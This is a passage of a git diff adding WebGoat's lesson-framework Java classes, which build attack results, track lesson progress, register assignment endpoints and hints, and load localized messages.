- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved' + * + *

Of course you can overwrite these values in a specific lesson + * + * @return a builder for creating a result from a lesson + * @param assignment + */ + protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) { + return AttackResult.builder(messages) + .lessonCompleted(false) + .attemptWasMade() + .feedback("assignment.not.solved") + .assignment(assignment); + } + + protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) { + return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment); + } + + @Override + public void initialize(WebGoatUser user) {} +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java new file mode 100644 index 000000000..bfea97438 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java @@ -0,0 +1,14 @@ +package org.owasp.webgoat.container.assignments; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** Created by nbaars on 1/14/17. */ +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface AssignmentHints { + + String[] value() default {}; +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java new file mode 100644 index 000000000..0c1993393 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java @@ -0,0 +1,19 @@ +package org.owasp.webgoat.container.assignments; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import org.springframework.web.bind.annotation.RequestMethod; + +/** Created by nbaars on 1/14/17. */ +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface AssignmentPath { + + String[] path() default {}; + + RequestMethod[] method() default {}; + + String value() default ""; +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java b/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java new file mode 100644 index 000000000..3cf353c21 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.assignments; + +import static org.apache.commons.text.StringEscapeUtils.escapeJson; + +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; + +public class AttackResult { + + public static class AttackResultBuilder { + + private boolean lessonCompleted; + private PluginMessages messages; + private Object[] feedbackArgs; + private String feedbackResourceBundleKey; + private String output; + private Object[] outputArgs; + private AssignmentEndpoint assignment; + private boolean attemptWasMade = false; + + public AttackResultBuilder(PluginMessages messages) { + this.messages = messages; + } + + public AttackResultBuilder lessonCompleted(boolean lessonCompleted) { + this.lessonCompleted = lessonCompleted; + this.feedbackResourceBundleKey = "lesson.completed"; + return this; + } + + public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) { + this.lessonCompleted = lessonCompleted; + this.feedbackResourceBundleKey = resourceBundleKey; + return this; + } + + public AttackResultBuilder feedbackArgs(Object... args) { + this.feedbackArgs = args; + return this; + } + + public AttackResultBuilder feedback(String resourceBundleKey) { + this.feedbackResourceBundleKey = resourceBundleKey; + return this; + } + + public AttackResultBuilder output(String output) { + this.output = output; + return this; + } + + public AttackResultBuilder outputArgs(Object... args) { + this.outputArgs = args; + return this; + } + + public AttackResultBuilder attemptWasMade() { + this.attemptWasMade = true; + return this; + } + + public AttackResult build() { + return new AttackResult( + lessonCompleted, + messages.getMessage(feedbackResourceBundleKey, feedbackArgs), + messages.getMessage(output, output, outputArgs), + assignment.getClass().getSimpleName(), + attemptWasMade); + } + + public AttackResultBuilder assignment(AssignmentEndpoint assignment) { + this.assignment = assignment; + return this; + } + } + + @Getter private boolean lessonCompleted; + @Getter private String feedback; + @Getter private String output; + @Getter private final String assignment; + @Getter private boolean attemptWasMade; + + public AttackResult( + boolean lessonCompleted, + String feedback, + String output, + String assignment, + boolean attemptWasMade) { + this.lessonCompleted = lessonCompleted; + this.feedback = escapeJson(feedback); + this.output = escapeJson(output); + this.assignment = assignment; + this.attemptWasMade = attemptWasMade; + } + + public static AttackResultBuilder builder(PluginMessages messages) { + return new AttackResultBuilder(messages); + } + + public boolean assignmentSolved() { + return lessonCompleted; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java new file mode 100644 index 000000000..4e76af9d6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java @@ -0,0 +1,81 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.assignments; + +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.core.MethodParameter; +import org.springframework.http.MediaType; +import org.springframework.http.converter.HttpMessageConverter; +import org.springframework.http.server.ServerHttpRequest; +import org.springframework.http.server.ServerHttpResponse; +import org.springframework.web.bind.annotation.RestControllerAdvice; +import org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice; + +@RestControllerAdvice +public class LessonTrackerInterceptor implements ResponseBodyAdvice { + + private UserTrackerRepository userTrackerRepository; + private WebSession webSession; + + public LessonTrackerInterceptor( + UserTrackerRepository userTrackerRepository, WebSession webSession) { + this.userTrackerRepository = userTrackerRepository; + this.webSession = webSession; + } + + @Override + public boolean supports( + MethodParameter methodParameter, Class> clazz) { + return true; + } + + @Override + public Object beforeBodyWrite( + Object o, + MethodParameter methodParameter, + MediaType mediaType, + Class> aClass, + ServerHttpRequest serverHttpRequest, + ServerHttpResponse serverHttpResponse) { + if (o instanceof AttackResult attackResult) { + trackProgress(attackResult); + } + return o; + } + + protected AttackResult trackProgress(AttackResult attackResult) { + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + if (userTracker == null) { + userTracker = new UserTracker(webSession.getUserName()); + } + if (attackResult.assignmentSolved()) { + userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment()); + } else { + userTracker.assignmentFailed(webSession.getCurrentLesson()); + } + userTrackerRepository.saveAndFlush(userTracker); + return attackResult; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java new file mode 100644 index 000000000..7d94f6044 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java @@ -0,0 +1,90 @@ +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +package org.owasp.webgoat.container.controller; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.servlet.ModelAndView; + +@Controller +public class StartLesson { + + private final WebSession ws; + private final Course course; + + public StartLesson(WebSession ws, Course course) { + this.ws = ws; + this.course = course; + } + + /** + * start. + * + * @return a {@link ModelAndView} object. + */ + @RequestMapping( + path = "startlesson.mvc", + method = {RequestMethod.GET, RequestMethod.POST}) + public ModelAndView start() { + var model = new ModelAndView(); + + model.addObject("course", course); + model.addObject("lesson", ws.getCurrentLesson()); + model.setViewName("lesson_content"); + + return model; + } + + @RequestMapping( + value = {"*.lesson"}, + produces = "text/html") + public ModelAndView lessonPage(HttpServletRequest request) { + var model = new ModelAndView("lesson_content"); + var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson + var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson")); + + course.getLessons().stream() + .filter(l -> l.getId().equals(lessonName)) + .findFirst() + .ifPresent( + lesson -> { + ws.setCurrentLesson(lesson); + model.addObject("lesson", lesson); + }); + + return model; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/controller/Welcome.java b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java new file mode 100644 index 000000000..fddc5f640 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java @@ -0,0 +1,71 @@ +/** + * ************************************************************************************************ + * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author WebGoat + * @since October 28, 2003 + * @version $Id: $Id + */ +package org.owasp.webgoat.container.controller; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.servlet.ModelAndView; + +/** + * Welcome class. + * + * @author rlawson + * @version $Id: $Id + */ +@Controller +public class Welcome { + + private static final String WELCOMED = "welcomed"; + + /** + * welcome. + * + * @param request a {@link javax.servlet.http.HttpServletRequest} object. + * @return a {@link org.springframework.web.servlet.ModelAndView} object. + */ + @GetMapping(path = {"welcome.mvc"}) + public ModelAndView welcome(HttpServletRequest request) { + + // set the welcome attribute + // this is so the attack servlet does not also + // send them to the welcome page + HttpSession session = request.getSession(); + if (session.getAttribute(WELCOMED) == null) { + session.setAttribute(WELCOMED, "true"); + } + + // go ahead and send them to webgoat (skip the welcome page) + ModelAndView model = new ModelAndView(); + model.setViewName("forward:/attack?start=true"); + return model; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/i18n/Language.java b/src/main/java/org/owasp/webgoat/container/i18n/Language.java new file mode 100644 index 000000000..76e2a9728 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/i18n/Language.java @@ -0,0 +1,50 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.i18n; + +import java.util.Locale; +import lombok.AllArgsConstructor; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; +import org.springframework.web.servlet.LocaleResolver; + +/** + * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the + * HttpRequest object when asking for a Locale. + * + * @author nbaars + * @date 2/7/17 + */ +@AllArgsConstructor +public class Language { + + private final LocaleResolver localeResolver; + + public Locale getLocale() { + return localeResolver.resolveLocale( + ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/i18n/Messages.java b/src/main/java/org/owasp/webgoat/container/i18n/Messages.java new file mode 100644 index 000000000..5fd9c9c92 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/i18n/Messages.java @@ -0,0 +1,59 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.i18n; + +import java.util.Properties; +import lombok.AllArgsConstructor; +import org.springframework.context.support.ReloadableResourceBundleMessageSource; + +/** + * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a + * way to get all messages + * + * @author zupzup + */ +@AllArgsConstructor +public class Messages extends ReloadableResourceBundleMessageSource { + + private final Language language; + + /** + * Gets all messages for presented Locale. + * + * @return all messages + */ + public Properties getMessages() { + return getMergedProperties(language.getLocale()).getProperties(); + } + + public String getMessage(String code, Object... args) { + return getMessage(code, args, language.getLocale()); + } + + public String getMessage(String code, String defaultValue, Object... args) { + return super.getMessage(code, args, defaultValue, language.getLocale()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java b/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java new file mode 100644 index 000000000..16df55cb2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + *

+ * Copyright (c) 2002 - 2017 Bruce Mayhew + *

+ * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + *

+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + *

+ * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + *

+ * Getting Source ============== + *

+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + *

+ */ + +package org.owasp.webgoat.container.i18n; + +import java.io.IOException; +import java.util.Properties; +import org.springframework.context.support.ReloadableResourceBundleMessageSource; +import org.springframework.core.io.support.ResourcePatternResolver; + +/** + * Message resource bundle for plugins. + * + * @author nbaars + * @date 2/4/17 + */ +public class PluginMessages extends ReloadableResourceBundleMessageSource { + private static final String PROPERTIES_SUFFIX = ".properties"; + + private final Language language; + private final ResourcePatternResolver resourcePatternResolver; + + public PluginMessages( + Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) { + this.language = language; + this.setParentMessageSource(messages); + this.setBasename("WebGoatLabels"); + this.resourcePatternResolver = resourcePatternResolver; + } + + @Override + protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) { + Properties properties = new Properties(); + long lastModified = System.currentTimeMillis(); + + try { + var resources = + resourcePatternResolver.getResources( + "classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX); + for (var resource : resources) { + String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, ""); + PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder); + properties.putAll(holder.getProperties()); + } + } catch (IOException e) { + logger.error("Unable to read plugin message", e); + } + + return new PropertiesHolder(properties, lastModified); + } + + public Properties getMessages() { + return getMergedProperties(language.getLocale()).getProperties(); + } + + public String getMessage(String code, Object... args) { + return getMessage(code, args, language.getLocale()); + } + + public String getMessage(String code, String defaultValue, Object... args) { + return super.getMessage(code, args, defaultValue, language.getLocale()); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java new file mode 100644 index 000000000..92e8d0e9e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java @@ -0,0 +1,72 @@ +package org.owasp.webgoat.container.lessons; + +import java.util.ArrayList; +import java.util.List; +import javax.persistence.*; +import lombok.*; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author nbaars + * @version $Id: $Id + * @since November 25, 2016 + */ +@Getter +@EqualsAndHashCode +@Entity +public class Assignment { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + private String name; + private String path; + + @Transient private List hints; + + private Assignment() { + // Hibernate + } + + public Assignment(String name) { + this(name, name, new ArrayList<>()); + } + + public Assignment(String name, String path, List hints) { + if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) { + throw new IllegalStateException( + "The path of assignment '" + + name + + "' overrides WebGoat endpoints, please choose a path within the scope of the" + + " lesson"); + } + this.name = name; + this.path = path; + this.hints = hints; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Category.java b/src/main/java/org/owasp/webgoat/container/lessons/Category.java new file mode 100644 index 000000000..9fd8317da --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Category.java @@ -0,0 +1,67 @@ +package org.owasp.webgoat.container.lessons; + +import lombok.Getter; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +public enum Category { + INTRODUCTION("Introduction", 5), + GENERAL("General", 100), + + A1("(A1) Broken Access Control", 301), + A2("(A2) Cryptographic Failures", 302), + A3("(A3) Injection", 303), + + A5("(A5) Security Misconfiguration", 305), + A6("(A6) Vuln & Outdated Components", 306), + A7("(A7) Identity & Auth Failure", 307), + A8("(A8) Software & Data Integrity", 308), + A9("(A9) Security Logging Failures", 309), + A10("(A10) Server-side Request Forgery", 310), + + CLIENT_SIDE("Client side", 1700), + + CHALLENGE("Challenges", 3000); + + @Getter private String name; + @Getter private Integer ranking; + + Category(String name, Integer ranking) { + this.name = name; + this.ranking = ranking; + } + + @Override + public String toString() { + return getName(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java b/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java new file mode 100644 index 000000000..c6be7cfad --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java @@ -0,0 +1,143 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.lessons; + +import static java.util.stream.Collectors.groupingBy; + +import java.lang.reflect.Method; +import java.lang.reflect.ParameterizedType; +import java.util.*; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.ArrayUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.Course; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +@Slf4j +@Configuration +public class CourseConfiguration { + + private final List lessons; + private final List assignments; + private final Map> assignmentsByPackage; + + public CourseConfiguration(List lessons, List assignments) { + this.lessons = lessons; + this.assignments = assignments; + assignmentsByPackage = + this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName())); + } + + @Bean + public Course course() { + lessons.stream().forEach(l -> l.setAssignments(createAssignment(l))); + return new Course(lessons); + } + + private List createAssignment(Lesson lesson) { + var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName()); + if (CollectionUtils.isEmpty(endpoints)) { + log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle()); + return new ArrayList<>(); + } + return endpoints.stream() + .map( + e -> + new Assignment( + e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass()))) + .toList(); + } + + private String getPath(Class e) { + for (Method m : e.getMethods()) { + if (methodReturnTypeIsOfTypeAttackResult(m)) { + var mapping = getMapping(m); + if (mapping != null) { + return mapping; + } + } + } + throw new IllegalStateException( + "Assignment endpoint: " + + e + + " has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or" + + " 'ResponseEntity' please consider adding one"); + } + + private boolean methodReturnTypeIsOfTypeAttackResult(Method m) { + if (m.getReturnType() == AttackResult.class) { + return true; + } + var genericType = m.getGenericReturnType(); + if (genericType instanceof ParameterizedType) { + return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0] + == AttackResult.class; + } + return false; + } + + private String getMapping(Method m) { + String[] paths = null; + // Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are + // valid, we need to consider both + if (m.getAnnotation(RequestMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(RequestMapping.class).value(), + m.getAnnotation(RequestMapping.class).path()); + } else if (m.getAnnotation(PostMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(PostMapping.class).value(), + m.getAnnotation(PostMapping.class).path()); + } else if (m.getAnnotation(GetMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path()); + } else if (m.getAnnotation(PutMapping.class) != null) { + paths = + ArrayUtils.addAll( + m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path()); + } + if (paths == null) { + return null; + } else { + return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse(""); + } + } + + private List getHints(Class e) { + if (e.isAnnotationPresent(AssignmentHints.class)) { + return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value()); + } + return Collections.emptyList(); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Hint.java b/src/main/java/org/owasp/webgoat/container/lessons/Hint.java new file mode 100644 index 000000000..6a18d8f94 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Hint.java @@ -0,0 +1,43 @@ +/*************************************************************************************************** + * + * + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2014 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software + * projects. + * + */ + +package org.owasp.webgoat.container.lessons; + +import lombok.Value; + +/** + * Hint class. + * + * @author rlawson + * @version $Id: $Id + */ +@Value +public class Hint { + + private String hint; + private String assignmentPath; +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java b/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java new file mode 100644 index 000000000..2a9726b6f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java @@ -0,0 +1,12 @@ +package org.owasp.webgoat.container.lessons; + +import org.owasp.webgoat.container.users.WebGoatUser; + +/** + * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and + * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson. + */ +public interface Initializeable { + + void initialize(WebGoatUser webGoatUser); +} diff --git a/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java b/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java new file mode 100644 index 000000000..18f031c93 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java @@ -0,0 +1,124 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.container.lessons; + +import java.util.List; +import lombok.Getter; +import lombok.Setter; + +@Getter +@Setter +public abstract class Lesson { + + private static int count = 1; + private Integer id = null; + private List assignments; + + /** Constructor for the Lesson object */ + protected Lesson() { + id = ++count; + } + + /** + * getName. + * + * @return a {@link java.lang.String} object. + */ + public String getName() { + String className = 